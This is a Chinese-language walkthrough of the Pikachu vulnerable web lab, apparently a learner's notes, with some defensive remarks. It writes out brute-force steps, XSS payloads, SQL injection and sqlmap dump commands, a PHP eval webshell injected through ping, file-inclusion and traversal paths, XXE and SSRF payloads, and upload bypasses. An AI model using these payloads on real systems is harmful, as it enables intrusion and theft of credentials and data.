暴力破解
1.基于表单的暴力破解
burpsuite启动!
直接开始爆破
payload1采用top500常用用户名
payload2采用top500常用密码
根据响应发现爆破成功
爆破出俩个账号分别是admin/123456和test/abc123
看一下tip发现还有一个账号pikachu(考察信息收集),于是往自己账号本上添加此账号便于下次爆破
pikachu/000000
2.验证码绕过(on server)
输入正确验证码后尝试爆破
发现存在验证码复用问题
直接爆破成功
3.验证码绕过(on client)
输入正确的验证码尝试爆破
通过爆破响应发现验证码随着爆破次数而改变
尝试删除验证码元素
发现
验证码前端JS验证
删掉即可绕过
爆破成功
4.token防爆破
题如其名,加入了token校验
只需要每次爆破的时候把token值取出来就OK了
在Intruder中点击设置找到检索-提取(intruder模块找到options选项,然后找到Grep-Extract功能)
点击添加(add)新增一条数据提取规则
在新窗口点击重新获取响应(refetch response)获取到响应包内容,在响应包内找到token,然后选中token值后点击OK,接下来就可以设置爆破规则
我们给账号密码和token处都设为变量,然后将token的payload设置为我们刚提取的token值
payload设置为递归提取(recursive grep)并在初始payload输入初始值
设置为总是定向
开始爆破
爆破失败
burpsuite设置为了集束炸弹(Cluster bomb)模式,因此在爆破时将所有出现的token值进行了笛卡尔积运算,这就导致爆破的数据量无限增加,并且正确结果也不便于我们查看。
因此,我们此处使用另外一种取token值的方法。
尝试用了交叉鱼叉payload攻击并且线程为一
还是失败了
再次尝试交叉鱼叉payload攻击并且线程为一并且将首次请求的payload改为递归提取的payload
还是失败了
看了看wp没发现哪里有问题
不过输入正确用户名及密码返回的长度不同——csrf token error
.....................................................................................................................................................
Cross-Site Scripting
反射型XSS的脚本被解析的地方是浏览器,而存储型XSS的脚本被解析的地方是服务器
反射型xss(get)
Which NBA player do you like?
这里输入一个nobody,返回who is nobody,i don't care!
payload:<script>alert('xss')</script>
但是有字数限制(前端)
按下F121修改即可,将maxlength更改为大的数值
反射性xss(post)
输入账号 admin 密码 12345
payload <script> alert('xss')</script>
存储型xss
使用留言板输入<script>alert(document.cookie)</script>
DOM型XSS
' οnclick=alert('xss')>
之后点击'>what do you see?出现弹窗
也可以' οnmοuseοver=alert(document.cookie)>
之后接触反映语句即可出发
闭合后语句:<a href='' οnclick=alert(‘xss’)>'>what do you see?</a>
<a href='' οnmοuseοver=alert(document.cookie)>'>what do you see?</a>
javascript:alert`1`
javascript伪协议也可以
DOM型XSS-X
同上
XSS盲打
请在下面输入你对"锅盖头"这种发型的看法:
我们将会随机抽出一名送出麻港一日游
你的大名:
提交后显示谢谢参与,阁下的看法我们已经收到!
这个是将留言保存至后台 当管理员登录查看留言时就会触发
Payload:<script>alert(document.cookie)</script>
之后登录后台
xss之过滤
<script>标签被过滤了,我们可以用其他的方法绕过
payload:<a href="" οnclick="alert('xss')">
或者<SCRIPT>alert('xss')</SCRIPT>将script开大写
xss之htmlspecialchars
先尝试一下<script>alert('xss')</script>
没什么效果
payload ' οnclick='alert(1)'
javascript:alert`1`
' οnclick='alert("xss")
xss之href输出
payload:javascript:alert(document.cookie)
xss之js输出
从源码得知输入的内容嵌到script内部,于是考虑可以先闭合script标签然后再进行XSS
</script><script>alert(/1/)</script>
CSRF
CSRF(get) login
先是登录一个账号
修改提交
并且抓包构造payload
这样用户点击就会修改账号信息
CSRF(post)
虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改
此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包
工具地址:https://github.com/ot-jerry-welch/owaspcsrftester
找到生成的HTML文件并对其编辑, 将下面那行<input type="hidden" name="submit" value="submit"/>修改成<input type="submit" name="submit" value="submit"/>, 然后其他POST参数都可自行设置
在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改
csrftoken
造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击
查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中
<div id="per_info">
<form method="get">
<h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:{$name}</p>
<p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
<input type="hidden" name="token" value="{$_SESSION['token']}" />
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
</div>
在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击
Sql Inject
数字型注入
- 先判断数据类型
- 用 and 1=1 和 and 1=2
- 如果 and 1=1 正确, and1=2 报错,说明是数字型,如果都不报错,说明是字符型
- 在此处添加and1=1会正常回显,但是输入and1=2则会报错
- 接着判断字段数 order by
- 再判断回显位 union select 1,2 --+
俩个都回显,看看数据库名database()——pikachu
- 获取当前数据库所有表名
- select group_concat(table_name) from information_schema.tables where table_schema=database() --+
- 获取想要的表中的所有列名
- select group_concat(column_name) from information_schema.columns where table_name='users'--+
- 获取字段值(数据)
- union select username,password from users#
字符型注入
输入1、1'、1"确认是字符型还是数值型。同时确认闭合形式。
如题目所示为字符型
输入name后
get方式输入的内容会在url中展现出来
所以直接再url框内注入即可
先判断字段数' order by 2# 字段数为2
之后判断显位'unionselect1,2# 发现1和2的位置都可以正确回显,1,2地方使用联合注入。
然后爆库
' union select1,group_concat(schema_name) from (information_schema.schemata) #
显示所有数据库
' union select1,database() #
显示当前数据库
接着爆表
' union select 1,group_concat(table_name)from(information_schema.tables) where table_schema='pikachu' #
开始爆列
' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' # 当前数据库的指定表名
' union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' # 在所有数据库中指定一个表名
准备爆数据
' union select username,password from users#
采用了MD5加密,可以去CMD5进行解密
搜索型注入
输入a反馈
闭合符号为%',
输入
正常回显
输入a%' and 1=-1#出现错误
判断出是搜索型注入
注入payload: a%' union select database(),2,3#
操作同上
xx型注入
tip:管tmd的什么型,能够制造出闭合,就是本事
所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)
所以进行测试闭合符号
判断出闭合符号为)
payload: ') union select 1,group_concat(concat_ws(':',username,password)) from pikachu.users#
这里':' 是用于连接两个字符串的冒号。具体来说,concat_ws(':', username, password) 将 username 和 password 字段的值连接在一起,并用冒号 ':' 分隔它们
"insert/update"注入
insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
DML
DML(Data Manipulation Language)数据操作语言,以 INSERT、UPDATE、DELETE 三种指令为核心,分别代表插入、更新与删除,是必须要掌握的指令,DML 和 SQL 中的 select 熟称 CRUD(增删改查)。
INSERT插入的两种方式:
1、insert into 表名[(字段,字段)] values (值,值);
说明:
值和字段需要一一对应
如果是字符型或日期类型,值需要用单引号引起来;如果是数值类型,不需要用单引号
字段和值的个数必须一致,位置对应
字段如果不能为空,则必须插入值
可以为空的字段可以不用插入值,但需要注意:字段和值都不写;或字段写上,值用 null 代替
表名后面的字段可以省略不写,此时表示所有字段,顺序和表中字段顺序一致。
2、insert into 表名 set 字段 = 值,字段 = 值;(不常见建议用方式一~~~)
批量插入方式
insert into 表名 [(字段,字段)] values (值,值),(值,值),(值,值);
INSERT注入就是用插入的方式进行注入,并不是用insert into插入数据进行注入
注册并抓包
基于Xpath的利用报错注入
可以用extractvalue或者updatexml 来进行报错注入
首先介绍两个函数:
1、updataxml():
官方定义:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
2、extractvalue()
官方定义:
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
不知道什么是Xpath请看这里
XPath即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的语言。
函数报错原因
可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行。
payload分析:1后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号,可以通过or 或者 and 的方式来进行连接,而在extractvalue()中有两个参数第一个参数任意填写即可,重点在第二个这里concat()意为返回结果为连接参数产生的字符串,0x7e为ASCII码,表示 ~
只需要替换select 后面的语句即可
payload:1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
payload:1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
同理可以将database()修改为version()
数据库爆出来了
database()自行修改值
insert布尔盲注使用函数
length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似
其中0x7e是ASCII编码,意思是~,用于区分系统报错和关键信息
"delete"注入
1 or updatexml(1,concat(0x7e,database()),0)
使用语句进行闭合
http头注入
登录账号admin/123456
使用ua注入
burpsuit抓包构造payload : ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
基于boolian的盲注
一、什么是盲注
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。
二、盲注的分类
基于布尔类型的盲注
基于时间类型的盲注
三、利用盲注的前提条件
首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。
四、盲注的优缺点
优点:不需要显示位和出错信息。
缺点:速度慢,耗费时间长(可以用到bp等工具)。
五、基于布尔类型的盲注
1.什么情况下使用布尔类型的盲注
没有返回SQL执行的错误信息
错误与正确的输入,返回的结果只有两种
2.使用布尔类型盲注的操作步骤:
- 构造目标查询语句
- 选择拼接方式
- 构造判断表达式
- 提取数据长度
- 提取数据内容
六.回归题目
直接上sqlmap爆破
获取数据库名
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" --current-db(检索当前使用的数据库名称)
成功获取数据库名
接着python sqlmap.py -u "url" -D pikachu --tables 获取数据库表
获取列:
python sqlmap.py -u "url" -D pikachu -T users --columns
获取数据
python sqlmap.py -u "url" -D pikachu -T users -C username,password --dump
基于时间的盲注
1.何时利用时间类型的盲注:
页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
2.时间类型盲注的注意事项
通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
为了提高效率,通常在表达式判断为真时执行延时语句。
时间盲注语句拼接时无特殊要求,保证语法正确即可。
3.基于时间盲注判断
1.通过时间线判断sql语句是否执行
正确错误语句返回相同
2.通过添加sleep函数判断:
payload:name=root'and sleep(5)--+ 执行成功时间线为5s
执行失败则为32ms
4.回归题目
此处使用sqlmap爆破
查数据库
python sqlmap.py -u "url" -dbs
查表
python sqlmap.py -u "url" -D pikachu --tables
查列:
python sqlmap.py -u "url" -D pikachu -T users --columns
查数据:
python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd |
| 3 | test | e99a18c428cb38d5f260853678922e03 |
+----+----------+----------------------------------+
wide byte注入
原理:
宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数
对输入'符号进行了转义'
pikachu靶场是addslashes()进行了转义
单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码
利用反斜杠编码为%5c
用%df构成(連)字绕过对 ’符号 的转义
简而言之,就是由于编码的问题,用%df' 可以绕过对‘的转义
查字段:
1%df' order by 2#
1%df' order by 3# 有错误产生
查位置:
1%df' union select 1,2#
查版本:
1%df' union select 1,@@version#
查数据库:
1%df' union select 1,database()#
查表:
1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列--->查表
1%df' union select username,password from users#
或者直接万能密码
RCE
exec "ping"
漏洞利用
这里尝试写一个一句话木马
127.0.0.1 | echo "<?php @eval($_REQUEST[1])?>" > ../../muma.php
..........额
127.0.0.1 & ipconfig
源代码分析
代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。
exec “eval”
漏洞利用
直接phpinfo();
源代码分析
查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。
RCE 漏洞防御
使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。
安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。
输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。
限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。
File Inclusion
本地文件包含
漏洞利用
范围为一到五
这里尝试修改为10
爆出了目录路径
这里尝试本地文件读取
?filename=../../../../Windows/System32/drivers/etc/hosts
源代码分析
这里接受的参数filename没有做任何过滤,直接进行了包含,从而导致了漏洞的产生。
漏洞防御
在源代码中已经给出了漏洞的防御措施。使用白名单的方式,指定用户可以访问的文件范围。
这里为了显示的效果容易看到,又添加了一个else语句
//安全的写法,使用白名单,严格指定包含的文件名
if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
include "include/$filename";
}else{
die("你想干什么");
}
远程文件包含
漏洞利用
这里使用本地ip进行远程文件包含
payload:http://ip地址/pikachu/test/phpinfo.txt
源代码分析
同样是变量传进来直接包含,没做任何的安全限制。
漏洞防御
# 漏洞防御
$allowed_files = array(
'include/file1.php',
'include/file2.php',
'include/file3.php',
'include/file4.php',
'include/file5.php',
'include/file6.php'
);
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
// include "$filename";//变量传进来直接包含,没做任何的安全限制
# 漏洞防御
if(in_array($filename, $allowed_files)){
include "$filename";
}else{
die("黑客!");
}
}
文件包含漏洞防御
- 使用str_replace等方法过滤掉危险字符。
- 配置open_basedir,防止目录遍历。
- php版本升级,防止%00截断。
- 对上传的文件进行重命名,防止被读取。
- 对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
- 做好管理员权限划分,做好文件的权限管理。
unsafe filedownload
下载链接
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../.DS_Store
unsafe upfileupload
client check
漏洞利用
这里上传一个php木马,显示无法上传,稍稍修改一下源码也是
这里抓个包进行修改后缀
上传成功
源代码分析
说明:这里过滤方式是白名单过滤,但是放在了前端进行校验。前端的一切过滤都可以被绕过。
MIME type
说明
MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)
是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
MIME 在传输数据时使用两个主要的元素:类型和子类型。前面是数据的大类别,例如声音audio、图像image等,后面定义具体的种类,常见的MIME类型,比如:
超文本标记语言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg
漏洞利用
修改Content-Type值为:image/jpeg即可绕过
源代码分析
upload_sick()函数的定义如下,该函数不安全之处在于两点:
- 仅检查了MIME类型,可以通过抓包修改进行绕过。
- 保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。
getimagesize()
函数声明
使用getimagesize() 进行文件内容检测,只检测文件头部。
漏洞利用
修改成图片头格式即可绕过
比如GIF89a
Over Permission
水平越权-op1 login
漏洞利用
查看tip得到三个账号
这里修改账号名字可以触发水平越权
源代码分析
用户信息是直接从url中获取的,没有校验当前用户
漏洞防御
使用session来校验,增加一个if判断url传入的username和当前用户是否匹配,如果匹配则为$username赋值,若不匹配则不赋值。
if($_SESSION['op']['username'] == $_GET['username']){
$username=escape($link, $_GET['username']);
}
垂直提权
tips(再点一下关闭)
这里有两个用户admin/123456,pikachu/000000,admin是超级boss
漏洞利用
登录员工账号
再看看管理员账号
多出了添加账户功能
先抓取员工的Cookie
Cookie: PHPSESSID=mjqm4nto5albjrhd2rjfrukgf7
之后抓取BOSS添加账号的数据包
将cookie修改为员工的值
之后发包
此时登录账号发现添加成功
发现垂直越权漏洞
源码分析
op2_admin_edit.php
说明:op2_admin_edit.php中只是验证了用户是否登录,如果没登陆就跳转到登录页面,没有验证用户的权限级别等级,但是前端显示添加用户的权限级别为1的用户才能执行的操作。所以这里才会出现垂直越权漏洞。
../../
目录遍历
漏洞利用
点击链接
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
尝试修改为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../windows\system32\drivers\etc\hosts
发现遍历成功
敏感信息泄露
方法一:弱口令admin/admin登录成功
方法二:源码中得到账号
方法三:cookie中也有账号密码
PHP反序列化
概念
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
漏洞利用
O:1:"S":1:{s:4:"test";s:32:"<script>alert('attack')</script>";}
XXE
概念
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
运用
1.查看系统文件内容
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" > ]>
<foo>&xxe;</foo>
2.查看PHP源代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/software/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php" > ]>
<foo>&xxe;</foo>
3.查看开放端口
在输入框中输入下面的xml代码。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
以及
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
81端口的处理速度较慢。因为服务器80端口是开放的而81端口是关闭的。
4.探测内网主机
同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在。
构造payload
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://ip" > ]>
<foo>&xxe;</foo>
URL重定向
漏洞利用
点击第四条,出现?url=i
将这个i修改为其它ip以及域名皆可跳转
源码分析
修改前,当url参数的值不为 i 时,就会跳转到 url 值表示的页面。
防御方法
1.对用户输入进行合法性验证:对于所有接收用户输入的参数,都需要进行合法性验证。验证方式包括检测是否为合法的URL、检测是否为域名白名单之内等。
2.避免使用直接的URL重定向:应避免直接使用输入参数中提供的URL地址进行重定向,可以使用一个中间转换链接(例如使用本站跳转)对URL进行重定向。
3.使用白名单过滤:维护白名单限制允许进行重定向的URL地址,可以有效限制攻击者可利用的重定向地址。
4.采用固定的重定向URL:在编写代码时,设置一个固定的重定向URL地址,或者设置一个预定义的URL地址参数,避免通过用户输入URL地址的形式来触发重定向操作。
5.限制重定向次数:设置最大重定向次数,如果超过预设值就结束重定向。这可以避免攻击者构造类似蜜罐攻击的链接,不断跳转用户浏览器,造成用户浏览器崩溃。
6.带有安全标志的重定向:使用安全标志,例如在URL中使用SSL证书或者添加额外的参数来传递当前会话信息等方式,可以增加重定向的安全性。
SSRF
SSRF(curl)
漏洞利用
一.网址访问
修改url指向的地址: ?url=http://www.baidu.com
二.查看本地文件
利用file伪协议查看本地文件
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/superdic.txt
三.dict协议扫描内网主机开放端口
dict协议:dict://是一种用于在Curl命令中传递字典参数的协议。该协议通常用于向服务器发送包含键值对的数据。
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,修改url为:url=dict://ip:80:
SSRF(file_get_content)
发现路径中的参数从url变成了file
file_get_contents() : 把整个文件读入一个字符串中。
漏洞利用
一.file读取本地文件
file=file:///../../../../xxxx
二.http协议请求内网资源
可以使用服务器或者本地虚拟机
开启一台kali主机,并且开启一个http服务
python3 -m http.server 8888
修改file为:file=http://192.168.188.185:8888